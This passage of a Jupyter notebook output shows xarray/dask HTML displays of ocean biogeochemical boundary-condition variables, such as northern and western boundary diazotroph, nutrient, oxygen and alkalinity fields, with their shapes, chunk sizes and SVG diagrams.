layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line 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:</span></dt><dd>northern boundary diazotroph chloropyll</dd><dt><span>units :</span></dt><dd>mg/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" 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for='data-ff79efc7-7dad-4f99-8d76-ceb472018b9d' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary diazotroph carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray 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for='attrs-b2a49806-0e5a-4f6e-a237-b85f117f09ee' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-63ec36ad-234b-49ba-87ec-32de2b693080' class='xr-var-data-in' type='checkbox'><label for='data-63ec36ad-234b-49ba-87ec-32de2b693080' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary diazotroph phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" 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y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>diazFe_north</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-7b657564-3c83-42e3-baa1-7695d53a791a' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-7b657564-3c83-42e3-baa1-7695d53a791a' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-68e91efc-abd9-41ef-80b1-40d516deeacd' class='xr-var-data-in' type='checkbox'><label for='data-68e91efc-abd9-41ef-80b1-40d516deeacd' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary diazotroph iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line 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:</span></dt><dd>northern boundary small phytoplankton CaCO3</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" 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for='data-a795950e-a2b6-49f7-b9a8-ec4a6e023b69' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary zooplankton carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- 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eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-b1cab121-07d5-4996-9a38-79bbbe4f57cd' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-b1cab121-07d5-4996-9a38-79bbbe4f57cd' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-f46c4444-4cf0-4988-89df-85f9bab42c77' class='xr-var-data-in' type='checkbox'><label for='data-f46c4444-4cf0-4988-89df-85f9bab42c77' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary dissolved inorganic nitrate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" 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:</span></dt><dd>western boundary dissolved inorganic silicate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" 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for='data-f7e1803e-28bc-450d-9317-632abd9711f3' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary dissolved ammonia</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines 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for='attrs-fc6ec920-61af-40cd-ad90-e3a60b18870d' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-40d66212-ddbc-4147-b69b-079a7d74b86f' class='xr-var-data-in' type='checkbox'><label for='data-40d66212-ddbc-4147-b69b-079a7d74b86f' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary dissolved inorganic iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" 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y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>Lig_west</span></div><div class='xr-var-dims'>(bry_time, s_rho, eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-6b466832-5742-4d8b-93de-def18d1073ca' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-6b466832-5742-4d8b-93de-def18d1073ca' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-1c4d91eb-889c-487d-8f43-57b948afa4ae' class='xr-var-data-in' type='checkbox'><label for='data-1c4d91eb-889c-487d-8f43-57b948afa4ae' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary iron binding ligand</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line 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<line x1=\"33\" y1=\"140\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", " <line x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" 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:</span></dt><dd>western boundary dissolved oxygen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" 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for='data-0dec14f2-01cc-4e74-97af-58d373189c5f' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary dissolved inorganic carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- 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<tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 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eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-9e790794-bb67-4b3c-9d96-e333ede52b74' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-9e790794-bb67-4b3c-9d96-e333ede52b74' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-ec2888ca-9984-423b-8345-db0b9fd7633a' class='xr-var-data-in' type='checkbox'><label for='data-ec2888ca-9984-423b-8345-db0b9fd7633a' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary alkalinity</dd><dt><span>units :</span></dt><dd>meq/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary alkalinity, alternative CO2</dd><dt><span>units :</span></dt><dd>meq/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> 